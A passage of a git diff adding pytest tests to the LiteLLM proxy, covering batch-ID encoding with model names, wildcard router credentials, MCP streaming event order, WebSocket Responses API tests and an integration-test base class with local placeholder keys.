mock_processor.common_processing_pre_call_logic = AsyncMock( + return_value=( + {"input_file_id": "file-input456", "endpoint": "/v1/chat/completions", "completion_window": "24h"}, + MagicMock(), + ) + ) + mock_processor_cls.return_value = mock_processor + + response = await create_batch( + request=mock_request, + fastapi_response=mock_fastapi_response, + provider=None, + user_api_key_dict=mock_user_api_key_dict, + ) + + # The batch_id should be encoded with model info + assert response.id != raw_batch_id, ( + f"Expected batch_id to be encoded, but got raw ID: {response.id}" + ) + assert response.id.startswith("batch_"), ( + f"Encoded batch_id should keep batch_ prefix, got: {response.id}" + ) + + # Should be decodable back to the original + decoded_model = decode_model_from_file_id(response.id) + assert decoded_model == model_name, ( + f"Expected model '{model_name}' from decoded batch_id, got: {decoded_model}" + ) + + original_id = get_original_file_id(response.id) + assert original_id == raw_batch_id, ( + f"Expected original ID '{raw_batch_id}', got: {original_id}" + ) + + +@pytest.mark.asyncio +async def test_create_batch_with_x_litellm_model_encodes_output_and_error_file_ids(): + """ + When a completed batch is returned with output_file_id and error_file_id, + these should also be encoded with model info. + """ + from litellm.proxy.batches_endpoints.endpoints import create_batch + + model_name = "my-vllm-model" + raw_output_file = "file-output789" + raw_error_file = "file-error012" + + mock_response = _make_batch_response( + batch_id="batch_abc123", + output_file_id=raw_output_file, + error_file_id=raw_error_file, + status="completed", + ) + mock_request = _make_mock_request(headers={"x-litellm-model": model_name}) + mock_fastapi_response = MagicMock() + mock_user_api_key_dict = MagicMock() + mock_user_api_key_dict.parent_otel_span = None + mock_user_api_key_dict.user_id = "test_user" + + mock_credentials = { + "api_key": "sk-test", + "api_base": "http://vllm:8000", + "custom_llm_provider": "openai", + } + + with ( + patch( + "litellm.proxy.batches_endpoints.endpoints._read_request_body", + new=AsyncMock( + return_value={"input_file_id": "file-input456", "endpoint": "/v1/chat/completions", "completion_window": "24h"} + ), + ), + patch( + "litellm.proxy.batches_endpoints.endpoints.ProxyBaseLLMRequestProcessing" + ) as mock_processor_cls, + patch( + "litellm.proxy.batches_endpoints.endpoints.get_credentials_for_model", + return_value=mock_credentials, + ), + patch( + "litellm.proxy.batches_endpoints.endpoints.prepare_data_with_credentials", + ), + patch( + "litellm.acreate_batch", + new=AsyncMock(return_value=mock_response), + ), + patch( + "litellm.proxy.batches_endpoints.endpoints.is_known_model", + return_value=False, + ), + patch("litellm.proxy.proxy_server.general_settings", {}), + patch("litellm.proxy.proxy_server.llm_router", MagicMock()), + patch("litellm.proxy.proxy_server.proxy_config", MagicMock()), + patch("litellm.proxy.proxy_server.version", "1.0.0"), + patch( + "litellm.proxy.proxy_server.proxy_logging_obj", + MagicMock( + post_call_success_hook=AsyncMock(return_value=mock_response), + update_request_status=AsyncMock(), + ), + ), + ): + mock_processor = MagicMock() + mock_processor.common_processing_pre_call_logic = AsyncMock( + return_value=( + {"input_file_id": "file-input456", "endpoint": "/v1/chat/completions", "completion_window": "24h"}, + MagicMock(), + ) + ) + mock_processor_cls.return_value = mock_processor + + response = await create_batch( + request=mock_request, + fastapi_response=mock_fastapi_response, + provider=None, + user_api_key_dict=mock_user_api_key_dict, + ) + + # output_file_id should be encoded + assert decode_model_from_file_id(response.output_file_id) == model_name + assert get_original_file_id(response.output_file_id) == raw_output_file + + # error_file_id should be encoded + assert decode_model_from_file_id(response.error_file_id) == model_name + assert get_original_file_id(response.error_file_id) == raw_error_file + + +@pytest.mark.asyncio +async def test_create_batch_without_x_litellm_model_returns_raw_ids(): + """ + Without x-litellm-model header, create_batch should NOT encode batch IDs + (falls through to Scenario 3 / custom_llm_provider fallback). + """ + from litellm.proxy.batches_endpoints.endpoints import create_batch + + raw_batch_id = "batch_abc123" + mock_response = _make_batch_response(batch_id=raw_batch_id) + mock_request = _make_mock_request(headers={}) + mock_fastapi_response = MagicMock() + mock_user_api_key_dict = MagicMock() + mock_user_api_key_dict.parent_otel_span = None + mock_user_api_key_dict.user_id = "test_user" + + with ( + patch( + "litellm.proxy.batches_endpoints.endpoints._read_request_body", + new=AsyncMock( + return_value={"input_file_id": "file-input456", "endpoint": "/v1/chat/completions", "completion_window": "24h"} + ), + ), + patch( + "litellm.proxy.batches_endpoints.endpoints.ProxyBaseLLMRequestProcessing" + ) as mock_processor_cls, + patch( + "litellm.acreate_batch", + new=AsyncMock(return_value=mock_response), + ), + patch( + "litellm.proxy.batches_endpoints.endpoints.is_known_model", + return_value=False, + ), + patch("litellm.proxy.proxy_server.general_settings", {}), + patch("litellm.proxy.proxy_server.llm_router", None), + patch("litellm.proxy.proxy_server.proxy_config", MagicMock()), + patch("litellm.proxy.proxy_server.version", "1.0.0"), + patch( + "litellm.proxy.proxy_server.proxy_logging_obj", + MagicMock( + post_call_success_hook=AsyncMock(return_value=mock_response), + update_request_status=AsyncMock(), + ), + ), + ): + mock_processor = MagicMock() + mock_processor.common_processing_pre_call_logic = AsyncMock( + return_value=( + {"input_file_id": "file-input456", "endpoint": "/v1/chat/completions", "completion_window": "24h"}, + MagicMock(), + ) + ) + mock_processor_cls.return_value = mock_processor + + response = await create_batch( + request=mock_request, + fastapi_response=mock_fastapi_response, + provider=None, + user_api_key_dict=mock_user_api_key_dict, + ) + + # Without x-litellm-model, the batch_id should remain raw + assert response.id == raw_batch_id + assert decode_model_from_file_id(response.id) is None + + +class TestBatchIdRoundTripWithRetrieve: + """ + Tests that batch IDs encoded during create_batch can be decoded + correctly during retrieve_batch (Scenario 1: model_from_id). + """ + + def test_encoded_batch_id_is_decoded_for_retrieve(self): + """ + Simulates the full round-trip: create encodes the ID, + retrieve decodes it to get the model and original batch_id. + """ + from litellm.proxy.openai_files_endpoints.common_utils import ( + encode_file_id_with_model, + ) + + model_name = "my-vllm-model" + raw_batch_id = "batch_vllm_12345" + + # What create_batch does: + encoded_id = encode_file_id_with_model( + file_id=raw_batch_id, model=model_name, id_type="batch" + ) + + # What retrieve_batch does: + decoded_model = decode_model_from_file_id(encoded_id) + original_id = get_original_file_id(encoded_id) + + assert decoded_model == model_name + assert original_id == raw_batch_id + + def test_vllm_style_batch_id_roundtrip(self): + """ + VLLM may return batch IDs in various formats. + Verify round-trip works for common patterns. + """ + from litellm.proxy.openai_files_endpoints.common_utils import ( + encode_file_id_with_model, + ) + + test_cases = [ + ("batch_abc123", "vllm-llama3"), + ("batch_67890", "openai/llama-3-8b"), + ("batch_some-uuid-here", "my-custom-vllm"), + ] + + for raw_id, model in test_cases: + encoded = encode_file_id_with_model( + file_id=raw_id, model=model, id_type="batch" + ) + assert encoded.startswith("batch_") + assert decode_model_from_file_id(encoded) == model + assert get_original_file_id(encoded) == raw_id diff --git a/tests/local_testing/test_router_utils.py b/tests/local_testing/test_router_utils.py index 7ade0777093..9d51685751a 100644 --- a/tests/local_testing/test_router_utils.py +++ b/tests/local_testing/test_router_utils.py @@ -502,6 +502,53 @@ def test_router_get_deployment_credentials_with_provider(): assert credentials3 is None +def test_router_get_deployment_credentials_with_provider_wildcard(): + """ + Test that get_deployment_credentials_with_provider handles wildcard patterns. + + When a model like openai/gpt-4o is requested and the config has openai/*, + the method should resolve the wildcard pattern and return credentials. + """ + router = Router( + model_list=[ + { + "model_name": "openai/*", + "litellm_params": { + "model": "openai/*", + "api_key": "sk-wildcard-123", + "api_base": "https://api.openai.com/v1", + }, + "model_info": {"id": "openai-wildcard-deployment"}, + }, + { + "model_name": "anthropic/*", + "litellm_params": { + "model": "anthropic/*", + "api_key": "sk-ant-wildcard-456", + }, + "model_info": {"id": "anthropic-wildcard-deployment"}, + }, + ] + ) + + # Test wildcard pattern matching for OpenAI + credentials = router.get_deployment_credentials_with_provider(model_id="openai/gpt-4o") + assert credentials is not None + assert credentials["api_key"] == "sk-wildcard-123" + assert credentials["custom_llm_provider"] == "openai" + assert credentials["api_base"] == "https://api.openai.com/v1" + + # Test wildcard pattern matching for Anthropic + credentials2 = router.get_deployment_credentials_with_provider(model_id="anthropic/claude-3-opus") + assert credentials2 is not None + assert credentials2["api_key"] == "sk-ant-wildcard-456" + assert credentials2["custom_llm_provider"] == "anthropic" + + # Test with non-matching model + credentials3 = router.get_deployment_credentials_with_provider(model_id="vertex_ai/gemini-pro") + assert credentials3 is None + + def test_router_get_deployment_model_info(): router = Router( model_list=[ diff --git a/tests/mcp_tests/test_aresponses_api_with_mcp.py b/tests/mcp_tests/test_aresponses_api_with_mcp.py index c22c3537af8..8c8582a35d7 100644 --- a/tests/mcp_tests/test_aresponses_api_with_mcp.py +++ b/tests/mcp_tests/test_aresponses_api_with_mcp.py @@ -1250,4 +1250,147 @@ async def test_no_duplicate_mcp_tools_in_streaming_e2e(): } +@pytest.mark.asyncio +@pytest.mark.parametrize("model", ["gpt-4o-mini"]) +async def test_streaming_mcp_event_order_and_response_id_consistency( + model: str, caplog: pytest.LogCaptureFixture +): + """ + Test that: + 1. Streaming events are emitted in correct order (response.created, response.in_progress, response.output_item.added before MCP events) + 2. All response lifecycle events share the same response ID within a cycle + """ + if ("gpt" in model.lower() or "openai" in model.lower()) and not os.getenv("OPENAI_API_KEY"): + pytest.skip("OPENAI_API_KEY not set, skipping openai model test") + + from unittest.mock import AsyncMock, patch + + mock_mcp_tools = [ + type('MCPTool', (), { + 'name': 'get_weather', + 'description': 'Get weather for a city', + 'inputSchema': { + "type": "object", + "properties": { + "city": {"type": "string", "description": "City name"} + }, + "required": ["city"] + } + })() + ] + + with caplog.at_level(logging.ERROR): + with patch.object( + LiteLLM_Proxy_MCP_Handler, + '_get_mcp_tools_from_manager', + new_callable=AsyncMock, + ) as mock_get_tools, patch.object( + LiteLLM_Proxy_MCP_Handler, + '_execute_tool_calls', + new_callable=AsyncMock, + ) as mock_execute_tools: + mock_get_tools.return_value = (mock_mcp_tools, ["litellm_proxy"]) + + def mock_execute_side_effect(tool_calls, user_api_key_auth, **kwargs): + results = [] + for tool_call in tool_calls: + call_id = None + if isinstance(tool_call, dict): + call_id = tool_call.get("call_id") or tool_call.get("id") + elif hasattr(tool_call, 'call_id'): + call_id = tool_call.call_id + elif hasattr(tool_call, 'id'): + call_id = tool_call.id + if call_id: + results.append({ + "tool_call_id": call_id, + "result": "Sunny, 72°F", + }) + return results + + mock_execute_tools.side_effect = mock_execute_side_effect + + mcp_tool_config = cast(Any, { + "type": "mcp", + "server_url": "litellm_proxy", + "require_approval": "never", + }) + + response = await litellm.aresponses( + model=model, + tools=[mcp_tool_config], + input=[{ + "role": "user", + "type": "message", + "content": "What's the weather in San Francisco?" + }], + stream=True, + ) + + events = [] + async for chunk in response: + events.append(chunk) + + assert len(events) > 0, "Should receive streaming events" + + created_idx = next((i for i, e in enumerate(events) if getattr(e, 'type', None) == 'response.created'), None) + in_progress_idx = next((i for i, e in enumerate(events) if getattr(e, 'type', None) == 'response.in_progress'), None) + output_item_added_idx = next((i for i, e in enumerate(events) if getattr(e, 'type', None) == 'response.output_item.added'), None) + mcp_in_progress_idx = next((i for i, e in enumerate(events) if 'mcp_list_tools.in_progress' in str(getattr(e, 'type', ''))), None) + completed_idx = next((i for i, e in enumerate(events) if getattr(e, 'type', None) == 'response.completed'), None) + + assert created_idx is not None, "response.created event should be present" + assert in_progress_idx is not None, "response.in_progress event should be present" + assert output_item_added_idx is not None, "response.output_item.added event should be present" + + assert created_idx < in_progress_idx, "response.created should come before response.in_progress" + assert in_progress_idx < output_item_added_idx, "response.in_progress should come before response.output_item.added" + + if mcp_in_progress_idx is not None: + assert output_item_added_idx < mcp_in_progress_idx, "response.output_item.added should come before response.mcp_list_tools.in_progress" + + response_ids = [] + for i, event in enumerate(events): + event_type = getattr(event, 'type', None) + if hasattr(event, 'response'): + response_obj = getattr(event, 'response', None) + if response_obj and hasattr(response_obj, 'id'): + event_type_value = event_type.value if hasattr(event_type, 'value') else str(event_type) + if any(x in event_type_value for x in ['response.created', 'response.in_progress', 'response.completed']): + response_ids.append((i, event_type_value, response_obj.id)) + + assert len(response_ids) >= 2, f"Should have at least 2 response lifecycle events. Found {len(response_ids)}" + + cycles = [] + current_cycle = [] + current_id = None + + for idx, event_type, resp_id in response_ids: + if current_id is None or resp_id == current_id: + current_cycle.append((idx, event_type, resp_id)) + current_id = resp_id + else: + if current_cycle: + cycles.append(current_cycle) + current_cycle = [(idx, event_type, resp_id)] + current_id = resp_id + if current_cycle: + cycles.append(current_cycle) + + for cycle_num, cycle in enumerate(cycles): + cycle_ids = set(resp_id for _, _, resp_id in cycle) + assert len(cycle_ids) == 1, f"Cycle {cycle_num + 1} should have consistent response ID. Found {len(cycle_ids)} unique IDs" + + assert completed_idx is not None, "response.completed event should be present" + + lite_errors = [ + record for record in caplog.records + if record.levelno >= logging.ERROR + and ("LiteLLM" in record.name or "LiteLLM" in record.getMessage()) + ] + assert not lite_errors, "Unexpected LiteLLM errors: " + ", ".join( + record.getMessage() for record in lite_errors + ) + + diff --git a/tests/openai_endpoints_tests/test_responses_websocket_proxy_e2e.py b/tests/openai_endpoints_tests/test_responses_websocket_proxy_e2e.py new file mode 100644 index 00000000000..e76135baa7e --- /dev/null +++ b/tests/openai_endpoints_tests/test_responses_websocket_proxy_e2e.py @@ -0,0 +1,239 @@ +""" +E2E tests for OpenAI Responses API WebSocket mode through the LiteLLM proxy. + +Connects to ws://0.0.0.0:4000/v1/responses, sends response.create events, +and validates the streamed response events. + +Requires: + - Proxy running: python -m litellm.proxy.proxy_cli --config --port 4000 + - Model configured in proxy (e.g. gpt-4o-mini) + +See: https://developers.openai.com/api/docs/guides/websocket-mode/ +""" + +import asyncio +import json +import os + +import httpx +import pytest + +# ── Configuration ───────────────────────────────────────────────────────────── +PROXY_BASE_URL = os.environ.get("LITELLM_PROXY_BASE_URL", "ws://0.0.0.0:4000") +PROXY_MASTER_KEY = os.environ.get("LITELLM_PROXY_KEY", "sk-1234") +PROXY_MODEL = os.environ.get("LITELLM_PROXY_RESPONSES_MODEL", "gpt-4o-mini") +# ────────────────────────────────────────────────────────────────────────────── + + +def _generate_key() -> str: + """Generate a key for testing via proxy key/generate endpoint.""" + url = "http://0.0.0.0:4000/key/generate" + headers = { + "Authorization": f"Bearer {PROXY_MASTER_KEY}", + "Content-Type": "application/json", + } + response = httpx.post(url, headers=headers, json={}, timeout=10) + if response.status_code != 200: + raise Exception( + f"Key generation failed with status: {response.status_code}. " + "Is the proxy running?" + ) + return response.json()["key"] + + +def _assert_basic_response(events: list[dict], label: str = "") -> None: + """Assert that events contain response.created, response.completed, and usage.""" + prefix = f"[{label}] " if label else "" + types = [e.get("type") for e in events] + assert len(events) > 0, f"{prefix}no events received" + assert "response.created" in types, f"{prefix}missing response.created, got: {types}" + assert "response.completed" in types, ( + f"{prefix}missing response.completed, got: {types}" + ) + completed = next(e for e in events if e.get("type") == "response.completed") + resp = completed.get("response", {}) + assert resp.get("status") == "completed", ( + f"{prefix}status != completed: {resp.get('status')}" + ) + usage = resp.get("usage", {}) + assert usage.get("input_tokens", 0) > 0, f"{prefix}input_tokens=0" + assert usage.get("output_tokens", 0) > 0, f"{prefix}output_tokens=0" + streaming_types = { + "response.output_item.added", + "response.content_part.added", + "response.output_text.delta", + "response.output_item.done", + } + found = streaming_types & set(types) + assert found, f"{prefix}no streaming delta events found, got: {types}" + + +@pytest.mark.asyncio +async def test_responses_websocket_proxy_basic(): + """ + Sends a simple response.create event to the proxy WebSocket endpoint + and validates response.created, response.completed, and streaming events. + """ + try: + import websockets + except ImportError: + pytest.skip("websockets not installed") + + try: + key = _generate_key() + except Exception as e: + pytest.skip( + f"Proxy not available or key generation failed: {e}. " + "Start proxy: python -m litellm.proxy.proxy_cli --config --port 4000" + ) + + url = f"{PROXY_BASE_URL}/v1/responses?model={PROXY_MODEL}" + headers = {"Authorization": f"Bearer {key}"} + events: list[dict] = [] + + try: + async with websockets.connect( + url, additional_headers=headers, open_timeout=5 + ) as ws: + payload = { + "type": "response.create", + "model": PROXY_MODEL, + "store": False, + "input": [ + { + "type": "message", + "role": "user", + "content": [ + {"type": "input_text", "text": "Say hello in one word."} + ], + } + ], + "tools": [], + } + await ws.send(json.dumps(payload)) + for _ in range(50): + msg = await asyncio.wait_for(ws.recv(), timeout=15) + event = json.loads(msg) + events.append(event) + if event.get("type") in ( + "response.completed", + "response.failed", + "error", + ): + break + except Exception as e: + pytest.fail( + f"WebSocket connection failed: {e}. " + "Ensure proxy is running and model is configured." + ) + + _assert_basic_response(events, "proxy-basic") + + +@pytest.mark.asyncio +async def test_responses_websocket_proxy_multi_turn(): + """ + Sends two sequential response.create events with previous_response_id + to validate multi-turn conversation over a single WebSocket. + """ + try: + import websockets + except ImportError: + pytest.skip("websockets not installed") + + try: + key = _generate_key() + except Exception as e: + pytest.skip( + f"Proxy not available or key generation failed: {e}. " + "Start proxy: python -m litellm.proxy.proxy_cli --config --port 4000" + ) + + url = f"{PROXY_BASE_URL}/v1/responses?model={PROXY_MODEL}" + headers = {"Authorization": f"Bearer {key}"} + all_events: list[dict] = [] + completed: list[dict] = [] + first_id = None + + try: + async with websockets.connect( + url, additional_headers=headers, open_timeout=5 + ) as ws: + # Turn 1 + await ws.send( + json.dumps( + { + "type": "response.create", + "model": PROXY_MODEL, + "store": True, + "input": [ + { + "type": "message", + "role": "user", + "content": [ + { + "type": "input_text", + "text": "Remember the number 7. Just say OK.", + } + ], + } + ], + } + ) + ) + for _ in range(50): + msg = await asyncio.wait_for(ws.recv(), timeout=15) + event = json.loads(msg) + all_events.append(event) + if event.get("type") == "response.completed": + completed.append(event) + first_id = event.get("response", {}).get("id") + break + if event.get("type") in ("response.failed", "error"): + break + + assert first_id, "Turn 1 never completed" + + # Turn 2 + await ws.send( + json.dumps( + { + "type": "response.create", + "model": PROXY_MODEL, + "store": True, + "previous_response_id": first_id, + "input": [ + { + "type": "message", + "role": "user", + "content": [ + { + "type": "input_text", + "text": "What number did I tell you to remember?", + } + ], + } + ], + } + ) + ) + for _ in range(50): + msg = await asyncio.wait_for(ws.recv(), timeout=15) + event = json.loads(msg) + all_events.append(event) + if event.get("type") == "response.completed": + completed.append(event) + break + if event.get("type") in ("response.failed", "error"): + break + + except Exception as e: + pytest.fail( + f"WebSocket multi-turn failed: {e}. " + "Ensure proxy is running and model is configured." + ) + + assert len(completed) >= 2, ( + f"Expected 2 response.completed events, got {len(completed)}" + ) + assert completed[1].get("response", {}).get("status") == "completed" diff --git a/tests/proxy_e2e_azure_batches_tests/__init__.py b/tests/proxy_e2e_azure_batches_tests/__init__.py new file mode 100644 index 00000000000..e69de29bb2d diff --git a/tests/proxy_e2e_azure_batches_tests/base_integration_test.py b/tests/proxy_e2e_azure_batches_tests/base_integration_test.py new file mode 100644 index 00000000000..c819fa7bf4f --- /dev/null +++ b/tests/proxy_e2e_azure_batches_tests/base_integration_test.py @@ -0,0 +1,494 @@ +"""Base class for LiteLLM integration tests. + +Supports both local (mock) and remote testing modes via environment variables: +- USE_LOCAL_LITELLM: When "true", uses local LiteLLM at localhost:4000 (default: false) +- USE_MOCK_MODELS: When "true", uses mock model names (default: false) +- LITELLM_API_KEY: API key for remote LiteLLM (required when USE_LOCAL_LITELLM=false) +- LITELLM_BASE_URL: Base URL for remote LiteLLM (required when USE_LOCAL_LITELLM=false) +""" + +import enum +import os +import time +import uuid +from abc import ABC +from collections import defaultdict +from typing import Any, Callable, Dict, List, Tuple, Union + +import httpx +import openai +import pytest +import requests +from urllib3.exceptions import InsecureRequestWarning + +requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) + +LOCAL_LITELLM_BASE_URL = "http://localhost:4000" +LOCAL_MOCK_SERVER_URL = "http://localhost:8090" + +if "USE_LOCAL_LITELLM" not in os.environ: + os.environ["USE_LOCAL_LITELLM"] = "true" +if "USE_MOCK_MODELS" not in os.environ: + os.environ["USE_MOCK_MODELS"] = "true" +if "USE_STATE_TRACKER" not in os.environ: + os.environ["USE_STATE_TRACKER"] = "true" +if "DATABASE_URL" not in os.environ: + os.environ["DATABASE_URL"] = "postgresql://llmproxy:dbpassword9090@localhost:5432/litellm" + + +def use_local_litellm() -> bool: + return os.environ.get("USE_LOCAL_LITELLM", "false").lower() == "true" + + +def use_remote_litellm() -> bool: + return not use_local_litellm() + + +def use_mock_models() -> bool: + return os.environ.get("USE_MOCK_MODELS", "false").lower() == "true" + + +def get_local_litellm_base_url() -> str: + return LOCAL_LITELLM_BASE_URL + + +def get_remote_litellm_base_url() -> str: + return os.environ.get("LITELLM_BASE_URL", "").rstrip("/") + + +def get_litellm_base_url() -> str: + if use_local_litellm(): + return get_local_litellm_base_url() + return get_remote_litellm_base_url() + + +def get_litellm_api_key() -> str: + if use_local_litellm(): + return "sk-1234" + return os.environ.get("LITELLM_API_KEY", "") + + +def get_mock_server_base_url() -> str: + return LOCAL_MOCK_SERVER_URL + + +def get_responses_model_name() -> str: + if use_mock_models(): + return "openai-fake-gpt-4o" + return "gpt-4o-mini-2024-07-18" + + +def model_id(param) -> str: + """Generate a test ID from a model name or tuple containing model name. + + Handles both: + - String: "gpt-4o-mini" -> "gpt_4o_mini" + - Tuple: ("gpt-4o", "openai/gpt-4o") -> "gpt_4o" + """ + if isinstance(param, tuple): + name = param[0] + else: + name = param + return name.replace("-", "_").replace(".", "_") + + +def generate_test_id( + params: Tuple[str, ...], + test_name: str = "test", +) -> str: + """Generate test ID from model parameters tuple. + + Handles two tuple formats: + - 6 elements: (provider, deployment, model_name, api_version, action, reason) + - 7 elements: (provider, deployment, model_name, api_version, model_id, action, reason) + + Uses model_id (position 4) if 7 elements, otherwise model_name (position 2). + """ + provider = params[0] + deployment = params[1] + api_version = params[3] + + if len(params) == 7: + identifier = params[4] # model_id + else: + identifier = params[2] # model_name + + test_id = "/".join([provider, deployment, api_version, identifier, test_name]) + return test_id.replace("-", "_").replace(".", "_") + + +class ModelTestAction(enum.Enum): + NOT_APPLICABLE = 1 + SKIP = 2 + RUN = 3 + WARN_ON_FAIL = 4 + + def applicable(self) -> bool: + return self.value != ModelTestAction.NOT_APPLICABLE.value + + +class BaseLiteLLMIntegrationTest(ABC): + """Base class for all LiteLLM integration tests. + + Supports both local/mock and remote testing based on environment variables. + """ + + @staticmethod + def get_api_key() -> str: + return get_litellm_api_key() + + @staticmethod + def get_base_url() -> str: + return get_litellm_base_url() + + @staticmethod + def get_ca_bundle_path() -> str: + current_dir = os.path.dirname(os.path.abspath(__file__)) + # change if needed + + @classmethod + def _get_ssl_verify_setting(cls) -> Union[bool, str]: + """Get the appropriate SSL verification setting based on mode. + + Returns path string (not SSLContext) for compatibility with both + requests and httpx libraries. + """ + if use_local_litellm(): + return False + ca_bundle_path = cls.get_ca_bundle_path() + if os.path.exists(ca_bundle_path): + return ca_bundle_path + return True + + @classmethod + def setup_class(cls): + cls.api_key = cls.get_api_key() + cls.base_url = cls.get_base_url() + + if not cls.api_key: + pytest.fail( + "API key is not available. Set LITELLM_API_KEY or USE_LOCAL_LITELLM=true", + ) + if not cls.base_url: + pytest.fail( + "Base URL is not available. Set LITELLM_BASE_URL or USE_LOCAL_LITELLM=true", + ) + + verify_setting = cls._get_ssl_verify_setting() + + if use_remote_litellm() and isinstance(verify_setting, str): + os.environ["REQUESTS_CA_BUNDLE"] = verify_setting + os.environ["CURL_CA_BUNDLE"] = verify_setting + print(f"Using CA bundle: {verify_setting}") + + cls.openai_client = openai.OpenAI( + base_url=cls.base_url, + api_key=cls.api_key, + http_client=httpx.Client(verify=verify_setting), + ) + + @classmethod + def make_request( + cls, + method: str, + endpoint: str, + timeout_secs: int, + **kwargs, + ) -> requests.Response: + headers = kwargs.get("headers", {}) + headers["Authorization"] = f"Bearer {cls.api_key}" + kwargs["headers"] = headers + kwargs.setdefault("timeout", timeout_secs) + kwargs.setdefault("verify", cls._get_ssl_verify_setting()) + + url = f"{cls.base_url}{endpoint}" + return requests.request(method, url, **kwargs) + + @staticmethod + def generate_request_id() -> str: + return f"req-{uuid.uuid4().hex[:8]}" + + @staticmethod + def get_timeout_secs(model_name: str) -> int: + model_lower = model_name.lower() + slow_models = ["gpt-5", "gpt_5", "o1", "claude-opus", "claude_opus", "o3", "o4"] + + if any(slow_model in model_lower for slow_model in slow_models): + return 300 + return 60 + + @staticmethod + def generate_unique_filename(extension: str = "txt") -> str: + return f"test_{time.time()}.{extension}" + + @staticmethod + def extract_model_params(model_data: Dict[str, Any]) -> Tuple[str, str, str, str]: + """Extract standardized parameters from model data.""" + model_name = model_data.get("model_name", "") + model_info = model_data.get("model_info", {}) + provider = model_info.get("litellm_provider", "unknown") + litellm_params = model_data.get("litellm_params", {}) + + if provider == "azure": + api_base = litellm_params.get("api_base", "unknown") + if api_base != "unknown" and "//" in api_base: + domain_name = api_base.split("//")[1] + deployment = domain_name.split(".")[0] + else: + deployment = "unknown" + api_version = litellm_params.get("api_version", "unknown") + elif provider in ["bedrock", "bedrock_converse"]: + deployment = litellm_params.get("aws_region_name", "unknown") + api_version = "unknown" + else: + deployment = "unknown" + api_version = "unknown" + + return provider, deployment, model_name, api_version + + @classmethod + def _fetch_all_models_from_litellm(cls) -> List[Dict[str, Any]]: + base_url = cls.get_base_url() + api_key = cls.get_api_key() + + if not api_key or not base_url: + return [] + + verify_setting = cls._get_ssl_verify_setting() + + response = requests.get( + f"{base_url}/model/info", + headers={"Authorization": f"Bearer {api_key}"}, + verify=verify_setting, + timeout=30, + ) + + if response.status_code != 200: + raise RuntimeError( + f"Failed to fetch all models from {base_url}. Response code: {response.status_code}", + ) + + data = response.json() + return data.get("data", []) + + @classmethod + def _fetch_all_approved_models(cls) -> List[Dict[str, Any]]: + return cls._fetch_all_models_from_litellm() + + @classmethod + def build_model_test_params( + cls, + should_skip_model: Callable[ + [str, str, str, str, Dict[str, Any]], + Tuple["ModelTestAction", str], + ], + include_model_id: bool = False, + include_load_balanced: bool = False, + ) -> List[Tuple[str, ...]]: + """Build test parameters from all approved models. + + Args: + should_skip_model: Callback that determines if a model should be skipped. + Signature: (provider, deployment, model_name, api_version, model_info) -> (action, reason) + include_model_id: If True, includes model_id in tuple (7 elements), else 6 elements. + include_load_balanced: If True, adds extra tests for load-balanced model groups. + + Returns: + List of tuples with model test parameters. + - 6-element: (provider, deployment, model_name, api_version, action, reason) + - 7-element: (provider, deployment, model_name, api_version, model_id, action, reason) + """ + models = cls._fetch_all_approved_models() + test_params: List[Tuple[str, ...]] = [] + models_by_model_name: Dict[str, List[Tuple[str, ...]]] = defaultdict(list) + + for model_data in models: + model_info = model_data.get("model_info", {}) or {} + + provider, deployment, model_name, api_version = cls.extract_model_params( + model_data, + ) + + model_test_action, model_test_action_reason = should_skip_model( + provider, + deployment, + model_name, + api_version, + model_info, + ) + + if model_test_action.applicable(): + if include_model_id: + model_id = str(model_info.get("id")) + params_tuple: Tuple[str, ...] = ( + provider, + deployment, + model_name, + api_version, + model_id, + model_test_action, + model_test_action_reason, + ) + else: + params_tuple = ( + provider, + deployment, + model_name, + api_version, + model_test_action, + model_test_action_reason, + ) + + test_params.append(params_tuple) + + if include_load_balanced: + models_by_model_name[model_name].append(params_tuple) + + if include_load_balanced and include_model_id: + for load_balanced_model_name, deployments in models_by_model_name.items(): + if len(deployments) <= 1: + continue + + first_deployment = deployments[0] + test_params.append( + ( + first_deployment[0], # provider + "load_balanced", + load_balanced_model_name, + "load_balanced", + load_balanced_model_name, # model_id = model_name for LB + first_deployment[5], # model_test_action + first_deployment[6], # model_test_action_reason + ), + ) + + return test_params + + +class UserKeyTestMixin: + """Mixin for tests that need to create users and API keys.""" + + allowed_routes: list[str] = [] + + _base_url: str = None + _master_api_key: str = None + admin_client: httpx.Client = None + + @classmethod + def setup_admin_client(cls): + cls._base_url = get_litellm_base_url() + cls._master_api_key = get_litellm_api_key() + verify_setting = ( + False + if use_local_litellm() + else BaseLiteLLMIntegrationTest._get_ssl_verify_setting() + ) + cls.admin_client = httpx.Client(base_url=cls._base_url, verify=verify_setting) + + @classmethod + def teardown_admin_client(cls): + if cls.admin_client: + cls.admin_client.close() + + @staticmethod + def unique_suffix() -> str: + return f"{time.strftime('%Y%m%d%H%M%S')}{int(time.time() * 1000) % 1000:03d}" + + @classmethod + def create_user_and_key(cls, user_suffix: str) -> tuple[str, str, str]: + user_email = f"test-user-{user_suffix}-{cls.unique_suffix()}@test.com" + user_response = cls.admin_client.post( + "/user/new", + json={ + "user_email": user_email, + "user_alias": user_email, + "user_role": "internal_user", + "auto_create_key": "false", + }, + headers={ + "Authorization": f"Bearer {cls._master_api_key}", + "Content-Type": "application/json", + }, + timeout=30, + ) + assert user_response.status_code == 200, ( + f"Failed to create user: {user_response.status_code} - {user_response.text}" + ) + user_id = user_response.json().get("user_id") + + key_alias = user_email.replace("@", "-at-").replace(".", "-") + key_response = cls.admin_client.post( + "/key/generate", + json={ + "user_id": user_id, + "key_alias": key_alias, + "allowed_routes": cls.allowed_routes, + }, + headers={ + "Authorization": f"Bearer {cls._master_api_key}", + "Content-Type": "application/json", + }, + timeout=30, + ) + assert key_response.status_code == 200, ( + f"Failed to create key: {key_response.status_code} - {key_response.text}" + ) + api_key = key_response.json().get("key") + + print(f"Created user {user_email}") + return user_id, api_key, user_email + + @classmethod + def create_user_key_and_client( + cls, + user_suffix: str, + ) -> tuple[str, str, str, openai.OpenAI]: + user_id, api_key, user_email = cls.create_user_and_key(user_suffix) + verify_setting = ( + False + if use_local_litellm() + else BaseLiteLLMIntegrationTest._get_ssl_verify_setting() + ) + client = openai.OpenAI( + base_url=cls._base_url, + api_key=api_key, + http_client=httpx.Client(verify=verify_setting), + ) + return user_id, api_key, user_email, client + + @classmethod + def create_key_and_client( + cls, + user_id: str, + key_suffix: str, + ) -> tuple[str, openai.OpenAI]: + key_alias = f"additional-key-{key_suffix}-{cls.unique_suffix()}" + key_response = cls.admin_client.post( + "/key/generate", + json={ + "user_id": user_id, + "key_alias": key_alias, + "allowed_routes": 